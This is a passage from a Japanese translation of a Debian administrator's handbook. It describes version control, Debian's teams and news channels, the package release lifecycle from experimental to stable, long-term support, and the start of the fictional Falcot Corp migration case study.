Git は分散型システムで、各ユーザが変更の完全な履歴が保存された作業リポジトリを持っています。中央リポジトリはプロジェクトをダウンロードしたり (`git clone`)、完了した作業を他の人と共有する (`git push`) ために使われます。作業リポジトリには中央リポジトリと同様にファイルの複数のバージョンが保存されていますが、ある時点で作業することが可能なのは一つのバージョンだけです。そしてこれはワーキングコピーと呼ばれています (`git checkout` を使えば、ワーキングコピーを他のバージョンに切り替えることが可能です)。Git を使うことで、ワーキングコピーに対して行われた変更内容を表示したり (`git diff`)、バージョン履歴に新しいエントリを追加してリポジトリ内にワーキングコピーの状態を保存したり (`git commit`)、他のユーザが並行して行った変更内容を含めるためにワーキングコピーを更新したり (`git pull`)、後から簡単に構成を呼び出すことができるように履歴内に特定の構成の状態を保存したり (`git tag`)、することが可能です。

Git を使うことで、あるプロジェクトの各バージョン同士を干渉させることなく、複数の並行バージョンを簡単に取り扱うことが可能になります。これは**ブランチ (枝)** と呼ばれています。このように木で例えることはかなり正確です、なぜならプログラムは同じトランク (幹) に対して開発が始まっているからです。節目 (バージョン 1.0 など) に到達したら、2 つのブランチで開発が続けられます。具体的に言えば、開発ブランチでは次のメジャーリリースを準備し、メンテナンスブランチではバージョン 1.0 に対する更新と修正を管理します。

Git は現在最も人気のあるバージョン管理システムですが、Git 以外にバージョン管理システムの選択肢がないというわけではありません。歴史的に言えば、CVS (並行バージョンシステム) が初めて広く使われたツールでした。しかし、CVS にあった数多くの制限により、さらに現代的で自由なバージョン管理システムが開発されることになりました。これらの中では特に `subversion` (`svn`)、`git`、`bazaar` (`bzr`)、`mercurial` (`hg`) が有名です。

- ➨ `http://www.nongnu.org/cvs/`
- ➨ `http://subversion.apache.org/`
- ➨ `http://git-scm.com/`
- ➨ `http://bazaar.canonical.com/`
- ➨ `http://mercurial.selenic.com/`

Debian は自分用に小さなソフトウェアを開発し続けていますが、一部のプログラムは重要な役割を担っており、そのようなプログラムの名声は Debian プロジェクトよりも大きく広がっています。Debian パッケージ管理プログラムの dpkg (実際のところ、これは Debian PacKaGe の略称で、「dee-package」と発音されます) と、任意の Debian パッケージとそのパッケージが依存しているパッケージを、更新後のシステムの継続性を保障しながら、自動的にインストールする apt (名前は Advanced Package Tool の頭字語) がそのよい例です。一方で、これらのプログラムの働きを全面的に理解するには極めて高いプログラミング能力が必要であるため、チームの規模は極めて小さなものです。

Debian インストールプログラム debian-installer の開発チームは最も重要なチームです。2001 年の構想以来ずっと、開発チームは極めて重要度の高い作業を達成し続けています。たくさんの異なるアーキテクチャに Debian をインストールできるたった 1 つのプログラムを書くのは難しいため、数多くの貢献者が必要でした。それぞれのアーキテクチャではそれぞれ異なる起動メカニズムと異なるブートローダを使っています。この作業のすべては Cyril Brulebois の指揮の下 debian-boot@lists.debian.org メーリングリストで組織的に行われています。

➡ http://www.debian.org/devel/debian-installer/

➡ http://joeyh.name/blog/entry/d-i_retrospective/

debian-cd プログラム (とても小さい) のチームはさらにいっそう控えめな目的を持っています。数多くの「小」貢献者は自分が担当しているアーキテクチャに対して責任を負っています。なぜなら主開発者はアーキテクチャに固有のすべての細かな差異や CD-ROM からインストーラを起動する正確な方法を知ることはできないからです。

多くのチームは他のチームと一緒にパッケージングを行わなければいけません。たとえば debian-qa@lists.debian.org は Debian プロジェクトのあらゆるレベルで品質を保証しようと試みます。debian-policy@lists.debian.org メーリングリストはあちこちからの提案に従って Debian ポリシーを成長させます。アーキテクチャごとの違いに対して責任を負うチーム (debian-**architecture**@lists.debian.org) はすべてのパッケージをコンパイルし、必要ならばパッケージを自分たちが担当しているアーキテクチャに適合するよう書き換えます。

メンテナンスを保証する際に 1 チームの負担が大きくなりすぎないよう、最も重要なパッケージに対しては別のチームが管理しています。そのようなケースとして、C ライブラリと debian-glibc@lists.debian.org、C コンパイラと debian-gcc@lists.debian.org、Xorg と debian-x@lists.debian.org (このグループは X Strike Force としても知られています) の関係が挙げられます。

1.4. Debian ニュースを追いかける

既に述べた通り、Debian プロジェクトは極めて分散的で有機的な方法で発展しています。その結果、プロジェクトの内部で起きた出来事について絶えず情報を得るようにすると、終わらない洪水のような通知に圧倒されるかもしれません。

Debian に関する最も重要なニュースだけを知りたいのなら、debian-announce@lists.debian.org メーリングリストを購読することをお勧めします。このメーリングリストは極めて流量が少なく (1 年に数通程度)、たとえば新しい安定版のリリース、新しいプロジェクトリーダーの選挙、年 1 回の Debian カンファレンスなど、最重要の発表だけが載せられます。

➡ https://lists.debian.org/debian-announce/

Debian に関するより一般的 (定期的) なニュースは debian-news@lists.debian.org を通じて送られます。このメーリングリストの流量もまた極めて合理的 (通常 1 カ月に数通) で、準定期的な「Debian プロジェクトニュース (DPN)」はこのメーリングリストを通じて発信されます。プロジェクトニュースには、プロジェクトで起きたことに関するさまざまなちょっとした情報が載せられています。

➡ https://lists.debian.org/debian-news/

COMMUNITY

広報チーム

Debian 公式の連絡チャンネルは Debian 広報チームのボランティアによって管理されています。広報チームのメンバーは Debian プロジェクトリーダーの代理人であり、連絡チャンネルに投稿されたニュースと告知をチェックしています。その他の多くのボランティが広報チームに貢献しています。例えば、「Debian プロジェクトニュース」の記事を書いたり、マイクロブログサービス (micronews.debian.org[2]) を盛り上げることで貢献しています。

➡ https://wiki.debian.org/Teams/Publicity

Debian の進化およびある時点に個々のチームで何が起きているのかについてより詳しい情報を得るには、debian-devel-announce@lists.debian.org メーリングリストを参照してください。その名前が意味する通り、送られてくる告知は恐らく開発者がより興味を持ちそうなものでしょう、しかしこのメーリングリストを使って、関係者はより具体的なチームで起きていることに対して常に (安定版がリリースされた時だけでなく) 目を離さないでいることも可能です。debian-announce@lists.debian.org はユーザが見ることができる結果についてニュースを配信するのに対して、debian-devel-announce@lists.debian.org はその結果がどのようにして引き起こされたかについてニュースを配信します。注釈として、「d-d-a」(debian-devel-announce@lists.debian.org は時々そう呼ばれます) だけは Debian 開発者ならば誰でも必ず購読しなければいけません。

➡ https://lists.debian.org/debian-devel-announce/

Debian の公式ブログ (bits.debian.org[3]) もまた良い情報源の一つです。公式ブログは興味深いニュースの殆どを取り上げています。ニュースの中には広報チームが注目している様々なメーリングリストで発表されたニュースやコミュニティメンバーが寄稿したその他の重要なニュースなどがあります。すべての Debian 開発者は発表に値すると感じたニュースを寄稿することが可能です。このため、プロジェクト全体に注目しているとは言うものの、Debian の公式ブログは有益な本質を提供しています。

Planet Debian にはより非公式な情報ソースがあり、Debian 貢献者が自分のブログに投稿した記事が収集されています。収集されるブログ記事の内容は Debian 開発の話題に限ったものではありませんが、貢献者たちは、コミュニティの中で何が起きているか、メンバーが何をする予定であるか、について見解を示します。

➡ https://planet.debian.org/

Debian プロジェクトはソーシャルネットワーク上でも頻繁に活動しています。Debian の公式アカウントが存在するソーシャルネットワークサービスはフリーソフトウェアで作り上げられたサービス (**pump.io** で動く Identi.ca マイクロブログサービス) だけですが、多くの Debian 貢献者が Twitter アカウント、Facebook ページ、Google+ ページなどを盛り上げています。

➡ https://identi.ca/debian

➡ https://twitter.com/debian

➡ https://www.facebook.com/debian

[2] https://micronews.debian.org/
[3] https://bits.debian.org

➡ https://plus.google.com/111711190057359692089

1.5. ディストリビューションの役割

GNU/Linux ディストリビューションには 2 つの目標があります。すなわち、自由なオペレーティングシステムをコンピュータにインストールすること (既にシステムが存在しているか否かは関係ありません)、そしてすべてのユーザからの必要性を満足する広範なソフトウェアを提供すること、です。

1.5.1. インストーラ、debian-installer

debian-installer は可能な限り一般性を保ちつつモジュール式に設計されており、上で述べた 1 つ目の目標を達成しています。debian-installer は多様なインストール状況に対応しており、一般に、特定の事例向けに作られた派生物がインストーラを作成することを非常に容易にしています。

debian-installer はそのモジュール性のためにとても複雑なものになっており、開発者が debian-installer の詳細を探ることが難しくなっているかもしれません。しかし、グラフィカルとテキストモードのどちらを使っても、ユーザ体験は同じ状態が保たれています。インストール時に感じる疑問の数を減らすために、多大な努力が費やされました。特に自動ハードウェア検出ソフトウェアはこれに大きく貢献しました。

ここで興味を持って注目すべき点は、Debian から派生したディストリビューションは一般化と全く違う姿勢を取り、提供するインストーラをさらに制限して (i386 と amd64 アーキテクチャに限定していることが多いです)、初心者にとってさらに使いやすくしているという点です。他方で、パッケージの中身に関して言えば、派生ディストリビューションはこれを改変し過ぎないようにしています。なぜなら、そうすることで提供されているさまざまなソフトウェアから互換性問題を起こさずに可能な限り大きな恩恵を受けることができるからです。

1.5.2. ソフトウェアライブラリ

量的な意味で、25,000 を超えるソースパッケージを備える Debian がリーダーなのは間違いありません。質的な意味で、Debian の安定度と整合性の評判を支えているのは Debian のポリシーと新しい安定版のリリース前に設けられる長いテスト期間のおかげであることは間違いありません。入手可能性に関する限り、Debian のすべては世界中に存在する多くのミラーを通じてオンライン上で入手でき、更新は 6 時間ごとに配信されます。

多くの小売業者がインターネット上で DVD-ROM を極めて低価格 (通常実費のみ) で販売していますし、この CD-ROM「イメージ」は自由にダウンロードすることも可能です。Debian の欠点は 1 つしかありません。すなわち、新しい安定版のリリース頻度が低いことです (開発には 2 年以上かかる場合もあります)。この欠点により新しいソフトウェアが導入される時期が後ろにずれます。

新しいフリーソフトウェアプログラムの多くは素早く開発版に組み込まれます。こうすることで開発版では新しいソフトウェアをインストールできます。新しいソフトウェアを組み込むために数多くの依存パッケージを更新しなければいけない状況の場合、Debian の安定版用にプログラムを再コンパイルすることも可能です (この話題に関するより詳しい情報は第 15 章「Debian パッケージの作成」422 ページを参照してください)。

1.6. リリースライフサイクル

Debian プロジェクトはある時点でそれぞれのプログラムの 3 種類から 6 種類の異なるバージョンを持っており、**実験版**、**不安定版**、**テスト版**、**安定版**、**旧安定版**、**前旧安定版**、のように名づけられています。各バージョンは開発の異なる段階に相当します。違いを十分に理解するために、どのような順序でプログラムが最初のパッケージングから Debian の安定版に組み込まれるかを見てみましょう。

VOCABULARY	
リリース	Debian プロジェクトにおいて「リリース」という用語はディストリビューションの特定のバージョンを示しています (たとえば「不安定リリース」は「不安定版」を意味しています)。さらに、新しいバージョン (安定版) の公開を一般に発表することも意味しています。

1.6.1. **実験版**状態

最初に特殊な例である**実験版**ディストリビューションについて見てみましょう。具体的に言えば、これは現在開発中のソフトウェアに相当する Debian パッケージのグループで、名前の示す通り開発を終えている必要はありません。すべてのパッケージがこのステップを踏む必要はありませんが、一部の開発者はより経験豊富な (優れた) ユーザからのフィードバックを得るためにパッケージをここに追加します。

別の側面から話をすると、**実験版**ディストリビューションは基盤パッケージに対する重要な変更を組み込む際によく使われます。この変更にバグが含まれていた場合、その基盤パッケージを**不安定版**に組み込むと深刻な影響をおよぼすかもしれません。そんなわけで、**実験版**は完全に隔離されたディストリビューションになっており、**実験版**に含まれるパッケージは決して他のバージョンに移行することはありません (メンテナまたは ftpmaster からの介入という例外を除きます)。また、**実験版**は自己完結していません。具体的に言えば、**実験版**の中には既存のパッケージの一部だけが含まれており、基盤システムは含まれません。それゆえ**実験版**は通常、**不安定版**などの自己完結している他のディストリビューションと組み合わせて利用されます。

1.6.2. **不安定版**状態

典型的なパッケージの場合に戻りましょう。メンテナが**不安定版**用にコンパイルされた最初のパッケージを作成し、ftp-master.debian.org サーバに置きます。その後、ftpmaster がパッケージを検査検証します。その後、ソフトウェアは**不安定版**ディストリビューションで利用できるようになります。**不安定版**ディストリビューションは深刻なバグを心配するよりも、最新のパッケージを使うことを望むユーザが使う「最先端の」ディストリビューションです。そのようなユーザが最新のプログラムを見つけてテストします。

ユーザはバグに遭遇すると、バグをパッケージメンテナに報告します。メンテナは定期的に修正済みバージョンを用意し、ftp-master.debian.org サーバにアップロードします。

新たに更新されたパッケージはすべて、6 時間以内に世界中に存在するすべての Debian アーカイブミラーで更新されます。そしてユーザが修正をテストし、変更したことで生じる別の問題を探します。いくつかの更新は素早くなされるかもしれません。これらの間に自動ビルドロボットが活動を始めます。多くの場合、メンテナは古い PC を一台だけ持っており、amd64 (または i386) アーキテクチャで自分が担当しているパッケージをコンパイルしています (メンテナが source-only アップロードを選択した場合、パッケージのコンパイルは必要ありません)。自動ビルドロボットはコンパイル作業を引き受け、すべての他のアーキテクチャ向けのバージョンを自動的にコンパイルします。いくつかアーキテクチャではコンパイルが失敗するかもしれません。その場合、メンテナは問題の内容を含んだバグ報告を受け取り、このバグは次のバージョンで修正

されます。問題となっているアーキテクチャの専門家がバグを発見した場合、そのバグ報告にはすぐに使えるパッチが添えられているかもしれません。

図 1.2　自動ビルドロボットによるパッケージのコンパイル

QUICK LOOK

buildd、Debian パッケージ再コンパイルロボット

buildd は「ビルドデーモン」の略語です。**buildd** は Debian パッケージの新しいバージョンを自分が稼働しているアーキテクチャ上で自動的に再コンパイルします (可能な限りクロスコンパイルを避けます)。

このため、arm64 アーキテクチャ用のバイナリを作成するために、Debian プロジェクトは arm64 マシンを利用できる状態にしています。**buildd** プログラムはマシン上で常に起動しており、Debian 開発者の送信したソースパッケージから arm64 用のバイナリパッケージを作成します。

buildd というソフトウェアは Debian 向けの自動ビルドロボットを提供しているすべてのコンピュータで使われます。転じて、**buildd** という用語はこれらのマシンを表すために使われることが多く、ほとんどの場合これらのマシンは自動ビルド専用機として準備されています。

1.6.3. **テスト版**への移行

しばらくするとパッケージは成熟するでしょう。さらにすべてのアーキテクチャ上でパッケージがコンパイルされ、パッケージに対して最後に行った変更から十分な時間が経過するでしょう。こうなると、そのパッケージは将来**テスト版**ディストリビューションに組み込まれる対象になります。つまり**不安定版**に含まれる

一部のパッケージは定量化できる基準に従って選ばれます。毎日あるプログラムが、以下に示す一定の品質水準を保証する要素を基に、**テスト版**に組み込むためのパッケージを自動的に選びます。

1. 深刻なバグがないこと、もしくは現時点で**テスト版**に組み込まれているバージョンよりもバグの数が少ないこと。
2. **不安定版**に組み込まれてから少なくとも 10 日が経過していること。10 日という時間は深刻な問題が発見されて報告されるのに十分な時間です。
3. 公式にサポートされているすべてのアーキテクチャ上でコンパイルに成功していること。
4. **テスト版**で依存関係が満たされていること。依存関係が満たされていない場合、依存パッケージの準備ができ次第そのパッケージと一緒に**テスト版**に組み込まれます。

この移行システムが完全無欠でないことは明らかです。それどころか、深刻なバグは通常**テスト版**に組み込まれたパッケージから見つかります。とは言うものの、この移行システムは有効です。さらに**テスト版**は**不安定版**に比べて問題がはるかに少なく、多くの人にとって安定性と新規性の良い妥協案です。

NOTE

テスト版の制限

テスト版は原理的には極めて面白いのですが、**テスト版**には実用上いくつかの問題があります。具体的には、単一のパッケージがパッケージ間の相互依存性のもつれを完全に独力で解決するのはほぼ不可能であるという問題です。パッケージ同士が互いに依存し合っていると、数多くのパッケージを同時に移行することが必要になる場合がありますが、一部の依存パッケージが定期的に更新されていると、それは不可能です。一方で、関連するパッケージ群を識別するスクリプトが関連パッケージのリストを作成しようと熱心に働いています (スクリプトは NP 完全問題を解いているのですが、ありがたいことに、いくつかの良い経験則が知られています)。そのため、このスクリプトに手作業で情報を渡したり手引することでリスト結果に影響をおよぼすことが可能です。具体的には、スクリプトに対してパッケージのグループを示唆したり一時的に依存関係が壊れることになったとしても特定のパッケージをあるグループ内に含めるよう強要することで、これを行います。この機能はリリースマネージャとその助手でも利用しやすいものです。

NP 完全問題はデータのサイズ (コードの長さ (桁数) や関連する要素の数が含まれます) によってはアルゴリズムに指数関数的な複雑性があるということを思い出してください。NP 完全問題を解く唯一の方法はすべての可能性を頻繁に検査することですが、そうするには膨大な財力が必要です。経験則で得られるのは近似解ですが十分な解です。

COMMUNITY

リリースマネージャ

リリースマネージャは重い責任を伴う重要な役職です。事実上、リリースマネージャが新しい Debian 安定版のリリースを管理し、**テスト版**が**安定版**の品質基準に達するまでの開発工程を決めます。さらにリリースマネージャは暫定的な (必ずしも従う必要はない) スケジュールも定義します。

安定版リリースマネージャ (通常 SRM と略されます) は現在の Debian 安定版に対する更新を管理、選別します。安定版リリースマネージャはセキュリティパッチを組み込み、個々の場合に応じて、安定版に含まれるパッケージをしきりに更新したいと感じている Debian 開発者から送られてくるすべての組み込み提案を検査します。

1.6.4. **テスト版**から**安定版**への昇格

われわれのパッケージが今現在**テスト版**に組み込まれたと仮定しましょう。パッケージに改善の余地がある限り、パッケージのメンテナはそのパッケージを改善し続け、**不安定版**からの一連の手順を最初からやり直

さなければいけません (その後**テスト版**までは素早く組み込まれることが多いです。ただしこれはパッケージが大きく修正されておらず、すべての依存関係が**テスト版**で満たされている場合に限ります)。パッケージが完成の域に達すると、メンテナの作業は完了です。次のステップは**安定版**ディストリビューションへの組み込みです、実際のところこれはリリースマネージャが選んだ時点における**テスト版**の単純なコピーです。理想的にはこの決断はインストーラの準備が整った時点、そしてすべての**テスト版**に含まれるプログラムで既知の致命的バグが解決された時点に行われます。

実際にはこのような理想的瞬間は絶対に来ないので、Debian は妥協しています。具体的に言えば、メンテナが時間通りにバグを修正できなかったパッケージを削除したり、多数のプログラムが数個のバグを抱えた状態でディストリビューションをリリースすることに同意したりします。リリースマネージャは事前にフリーズ期間をアナウンスし、**テスト版**への更新はこの期間中に承認されなければいけません。フリーズ期間を設ける目的は、バージョンが新しくなる更新 (と新たなバグの混入) を禁止し、現在のバージョンに対するバグ修正の更新だけを受け入れることです。

図 1.3　パッケージがさまざまな Debian バージョンの間を移行される様子

VOCABULARY

フリーズ: 最終工程

フリーズ期間中には**テスト版**ディストリビューションの開発が妨げられ、更新が自動的に行われなくなります。フリーズ期間中にはリリースマネージャだけが、自身の基準に従って、パッケージを変更する権限を持っています。この目的は新しいバージョンによって新しいバグが混入するのを防ぐことにあります。加えて、更新は完全に検査され、重大なバグの修正を除き変更は認められません。

新しい安定版がリリースされるとそれ以降は、安定版リリースマネージャが安定版に対するすべての追加的開発を管理します (追加的開発は「リビジョン」と呼ばれます。たとえばバージョン 7 のリビジョンは 7.1、7.2、7.3 などです)。これらの更新にはすべてのセキュリティパッチおよび最も重要と判断された修正が体系的に組み込まれています (パッケージのメンテナが安定版に修正を組み込んでもらうためには修正を望む問題の重大性を安定版リリースマネージャに証明しなければいけません)。

最後に、仮想パッケージが安定版ディストリビューションに組み込まれます。ここに到達するまでには大変な苦労があり、Debian 安定版のリリースが極めてゆっくりと進む理由がお分かりになったと思います。安定版リリースの遅さは品質評価に貢献します。しかも、大多数のユーザは同時に利用できる 3 つのディストリビューションのうち 1 つを使えば満足です。システム管理者は、何よりもまず彼らのサーバの安定性を重要視しており、最新バージョンの GNOME は必要ありません。従ってシステム管理者は Debian **安定版**を選んで、それに満足するでしょう。エンドユーザは、強固な安定性よりも最新バージョンの GNOME や KDE に興味があり、Debian **テスト版**を選ぶでしょう。**テスト版**は深刻な問題が少なく、比較的新しいソフトウェアが使えるという意味で**安定版**と**不安定版**の良い妥協点です。最後に、開発者と経験豊富なユーザが先駆者となり、Debian **不安定版**になされたすべての最新の開発を真っ先にテストし、面倒事とプログラムの新しいバージョンにつきものであるバグに苦しむという危険を冒します。人それぞれ好みの Debian があるのです!

CULTURE

GNOME と KDE、グラフィカルデスクトップ環境

GNOME (GNU Network Object Model Environment) と KDE (K Desktop Environment) はフリーソフトウェア世界で最も人気のあるグラフィカルデスクトップ環境です。デスクトップ環境とは、グラフィカルインターフェースに対する最も一般的な操作を簡単に管理できるようにするための、プログラム集です。一般にデスクトップ環境には、ファイルマネージャ、オフィススイート、ウェブブラウザ、電子メールプログラム、マルチメディアアクセサリなどが含まれています。最も明らかな違いは使用しているグラフィカルライブラリの違いにあります。具体的に言えば、GNOME は GTK+ (LGPL のフリーソフトウェア) を使い、KDE は Qt (企業が支援するプロジェクト、現在は GPL と商用ライセンスの両方で利用できます) を使っています。

➨ `https://www.gnome.org/`

➨ `https://www.kde.org/`

図 1.4　Debian によってパッケージングされたプログラムが時系列順に通過する経路

1.6.5. **旧安定版**と**前旧安定版**状態

各**安定版**リリースの寿命は約 5 年と予定されており、**安定版**は 2 年ごとにリリースされます。ある時点において最大で 3 種類のサポートされるリリースが存在することになります。新しい安定版がリリースされた時点で、古い安定版は**旧安定版**になり、さらに旧安定版は**前旧安定版**になります。

Debian リリースの長期サポート (LTS) は最近の新たな取り組みです。Debian LTS チームの設立には Debian LTS プロジェクトに参加している各貢献者と企業が懸命に取り組みました。Debian セキュリティチームがサポートしない古いリリースはこの新しい Debian LTS チームの管理下に移ります。

Debian セキュリティチームは現在の**安定版**リリースと**旧安定版**リリースのセキュリティサポートを担当します (旧安定版に対してサポートが保証される期間は現在の安定版のリリース後 1 年間です)。Debian セキュリティチームによるセキュリティサポート期間は各リリースにつきおよそ 3 年間になります。Debian LTS チームはセキュリティサポートの最後の 2 年間を担当します。そうすれば各リリースは少なくとも 5 年間のサポートを受けることが可能ですし、ユーザはバージョン N から N+2 にアップグレードを行うことが可能になります。

➨ `https://wiki.debian.org/LTS`

COMMUNITY

LTS の取り組みを支援する企業

長期サポートは Debian が行うには難しい約束です。なぜなら、ボランティアは面白くない作業を避ける傾向にあるからです。さらに、5 年前のソフトウェアのセキュリティサポートを提供することは、多くの貢献者にとって、新しい上流開発版のパッケージングや新しい機能の開発に比べればずっとつまらない作業です。

Debian LTS プロジェクトを実現させるために、Debian LTS プロジェクトはある事実に期待しました。それは、長期サポートは特に企業にとって重要であり、企業は喜んでセキュリティサポートのコストを負担するという事実です。

Debian LTS プロジェクトは 2014 年 6 月に始まりました。一部の組織は雇用者が Debian LTS プロジェクトに非常勤で貢献することを認めていますし、また別の組織は対価を支払わない限りどの Debian 貢献者も関心を寄せることのないような作業に対価を支払うことにより Debian LTS プロジェクトを資金面で援助しています。LTS に関する作業に対価を望む多くの Debian 貢献者が Freexian (Raphaël Hertzog の企業) の下に集まり、明確な資金援助の枠組みが作成されました。

➨ `https://www.freexian.com/services/debian-lts.html`

Debian LTS チーム内でも、ボランティアは自分が関心をもつパッケージに対して作業しますが、有給の貢献者は自分の出資者が使っているパッケージを優先して作業します。

Debian LTS プロジェクトは常に新しい出資者を探しています。読者の皆様の企業はどうですか? 読者の皆様は雇用者が長期サポートに非常勤で作業することを認めることが可能ですか? セキュリティサポートにわずかな予算を割り当てることが可能ですか?

➨ `https://wiki.debian.org/LTS/Funding`

キーワード

Falcot Corp
SMB
急速な成長
基本計画
移行
コスト削減

章

ケーススタディの提示 2

目次

急成長する IT の必要性 32　基本計画 32　GNU/Linux ディストリビューションを選ぶ理由とは? 33
Debian ディストリビューションを選ぶ理由とは? 35　Debian Stretch を選ぶ理由とは? 36

本書の中では、読者の皆様は伸び盛りにある小企業のシステム管理者です。重役と協力して来年度の情報システムの基本計画を再定義する時が迫っています。読者の皆様は実務的および経済的な理由で Debian への移行を徐々に行うことを選択しています。ここで読者の皆様に何が起ころうとしているかを詳細に見てみましょう…。

われわれ著者はこのケーススタディを考えるにあたり、今現在の中規模企業で使われているすべての現代的な情報システムサービスを取り扱うことを想定しました。本書を読めば、Debian をサーバにインストールするために必要なすべての要素を会得し、独り立ちできることでしょう。また、困った時に有益な情報を見つける方法を理解するでしょう。

2.1. 急成長する IT の必要性

Falcot Corp は高品質な音響設備のメーカーです。この会社は急速に成長しており、サン＝テティエンヌとモンペリエの 2 箇所に施設を持っています。サン＝テティエンヌには 150 人の従業員がおり、さらにスピーカを製造する工場、デザイン研究所、管理課があります。モンペリエは比較的小さく、50 人の従業員がおり、アンプを生産しています。

NOTE

ケーススタディ用に作られた架空の企業

ケーススタディの中で例として使われている Falcot Corp は完全に架空の会社です。現存する会社とは一切関係ありません。同様に、本書全体を通じて例として使われているデータも架空のデータです。

Falcot Corp が現在所有している情報処理システムでは会社の成長に合わせて付いていくことが難しいため、管理上の観点から設定されたさまざまな目標を達成するために、情報処理システムを完全に再定義することが今決定されました。

- 現代的で、簡単に拡張できるインフラ。
- オープンソースソフトウェアを使うことによるソフトウェアライセンスのコスト削減。
- 電子商取引ウェブサイトの設置、可能な限り B2B (企業間取引、言い換えると、生産者と客など異なる企業間で情報システムをつなぎ合わせること) に対応させること。
- 新製品に関する企業秘密をより強固に守るためのセキュリティに関する著しい改善。

すべての情報システムは、これらの目標を念頭に、徹底的に整備されるでしょう。

2.2. 基本計画

あなたの協力によって、IT 管理課は若干広めの範囲に対して調査を行い、いくつかの制限事項を確認して、オープンソースシステム Debian への移行計画を定義しました。

確認された重大な制限事項として以下の点が挙げられます。管理課は特注のソフトウェアを使っており、これは Microsoft Windows™ 以外では動きません。一方で研究所はコンピュータ支援設計 (CAD) ソフトウェアを使っており、これは OS X™ で動いています。

図 2.1　Falcot Corp ネットワークの概要

Debian への切り替えは段階的に進められるでしょう。それどころか、小規模で資本の少ない会社では、すべてを突然無理なく変更することは不可能です。最初に、IT 部員が Debian 管理の訓練を受けなければいけません。その後サーバ類が切り替えられるでしょう、まずネットワークインフラ (ルータ、ファイアウォールなど)、次にユーザサービス (ファイル共有、ウェブ、SMTP など) が続きます。最後に、オフィスコンピュータが段階的に Debian へ切り替えられるでしょう、それぞれの部署では新しいシステムが配備される間 (内部的に) 訓練が行われます。

2.3. GNU/Linux ディストリビューションを選ぶ理由とは?

BACK TO BASICS

Linux それとも GNU/Linux?

既にご存じと思いますが、Linux はカーネルに過ぎません。そんなわけで「Linux ディストリビューション」や「Linux システム」は間違った表現です。すなわち実際には、これらは Linux を**基盤に据えた**ディストリビューションまたはシステムです。この表現は Linux カーネルを完成させているのは常に GNU プロジェクトの開発したソフトウェアであるという点を言い損なっています。GNU プロジェクトの創始者である Dr. Richard Stallman は、GNU プロジェクトによってなされた重要な貢献と自分たちが築いた自由の原則をより良く認識するために、「GNU/Linux」という表現を一貫して使うよう求めています。

Debian はこの提言に従って、ディストリビューションを名付けることにしました (最新の安定版の名前は Debian GNU/Linux 9 です)。

いくつかの要素が Debian の採用に影響をおよぼしました。たとえば、Debian ディストリビューションに詳しいシステム管理者がコンピュータシステムの総入れ替え先候補に Debian を挙げることを保証していました。さらに、コンピュータシステムの総入れ替えが企業の将来に決定的な重要性を持っているにも関わらず、経済状況が厳しく、他社との競争が猛烈であったため、入れ替え作業に割ける予算は制限されていました。これらの理由により、オープンソースという解決策が速やかに選択されました。最近のいくつかの調査によって、適切な資格を持つ人間が運用する限り、オープンソースによる解決策はプロプライエタリによる解決策と比較して同等かより優れたサービスの品質を提供するにも関わらず安上がりである、ということが明らかにされています。

IN PRACTICE

総保有コスト (TCO)

総保有コスト (TCO) とは、ある物品 (今回の場合はオペレーティングシステムに関連する物品) の所有および取得にかかる費用の総合計です。この費用には、考えうるすべてのライセンス代、新しいソフトウェアで仕事する個人の訓練代、性能が低いマシンの交換代、追加の修理代などが含まれており、最初の選択から直接的に決まるすべての費用が考慮されています。

TCO は査定に使った基準に依存して変化します。そのためある選択肢に対して算出された TCO はそれ単独では意味がほとんどありません。しかしながら、TCO を同じ査定基準に従って複数の選択肢に対して算出するのであれば、選択肢間の TCO 同士を比較することには重要な意味があります。このため、査定基準は最も重要で、査定基準を操作すれば簡単に事前に用意された結論に達することができてしまいます。このため、機材の 1 台に対する TCO は意味がありません。なぜなら、管理者のコストは管理する機材の総数に依存し、機材の総数は提案されるオペレーティングシステムとツールに依存するのは明らかだからです。

IT 部門は、数ある自由なオペレーティングシステムから、自由な BSD システム (OpenBSD、FreeBSD、NetBSD)、GNU Hurd、Linux ディストリビューションを検討しました。GNU Hurd は安定版をまだリリースしておらず、すぐに却下されました。これで BSD か Linux の単純な二択に絞られました。BSD は特にサーバに対して多くのメリットがあります。しかしながら、実用的な観点から Linux システムを選ぶことになりました。なぜなら、Linux システムはインストール基盤と人口がともに大きく、良い結果が見込まれたからです。良い結果の 1 つとして、Linux マシンを管理する有能な人材を見つけるほうが、BSD の経験が豊富な専門家を見つけることに比べて簡単という点が挙げられます。さらに、Linux は BSD に比べて新しめのハードウェアに対応するのが早い (接戦になることが多いですが) という点があります。最後に、Linux ディストリビューションはユーザフレンドリーなグラフィカルユーザインターフェースを採用していることが多いという点です。初心者にとっては、すべてのオフィスマシンを新しいシステムに移行するまでの間、この点は無視できません。

ALTERNATIVE

Debian GNU/kFreeBSD

Debian 6 **Squeeze** 以降の 32 および 64 ビットコンピュータ上では FreeBSD カーネルの Debian を使うことが可能です。具体的には `kfreebsd-i386` と `kfreebsd-amd64` アーキテクチャが FreeBSD カーネルの Debian を意味しています。`kfreebsd-i386` と `kfreebsd-amd64` は「公式リリースアーキテクチャ」ではありませんが、Debian は約 90 % のソフトウェアをパッケージングし、利用できるようにしています。

`kfreebsd-i386` と `kfreebsd-amd64` は Falcot Corp の管理者の立場からすると特にファイアウォール (FreeBSD カーネルは 3 つの異なるファイアウォールをサポートしています。具体的には IPF、IPFW、PF をサポートしています) と NAS (ネットワークに接続されたストレージシステム。NAS 用途では ZFS ファイルシステムが試験され、適していると認められています) 用途に対しては適切な選択かもしれません。

2.4. Debian ディストリビューションを選ぶ理由とは?

Linux ファミリーを選ぶことが決まったら、その中でも特にどのディストリビューションを選ぶか決めなければいけません。この場合も同様に、考慮しなければいけないたくさんの基準があります。ディストリビューションは数年間稼働することが可能でなければいけません。なぜなら、あるディストリビューションから他のディストリビューションに移行することは追加コストを必要とする場合があるからです (とは言っても 2 つの完全に異なるオペレーティングシステム、たとえば Windows と OS X を入れ替えるような場合に比べれば安く済みます)。

このため、持続可能性は絶対に不可欠で、数年間にわたって定期的な更新とセキュリティパッチの供給が受けられることも保証されていなければいけません。また、更新のタイミングも重要です。なぜなら管理するマシンがとても多い場合 Falcot Corp では頻繁すぎて更新という複雑な操作を処理できないからです。それゆえ、IT 部門はディストリビューションの最新安定版を使い、最高の技術援助の恩恵を享受し、セキュリティパッチの供給を確実に受けることを主張します。実質的にはほとんどの場合、ディストリビューションの古いバージョンに対するセキュリティ更新が受けられる期間には期限が設けられています。

最後に、マシン構成の一貫性と管理を簡単にする目的で、すべてのサーバとオフィスコンピュータが同じディストリビューションを使わなければいけません。

2.4.1. 商用とコミュニティ主導のディストリビューション

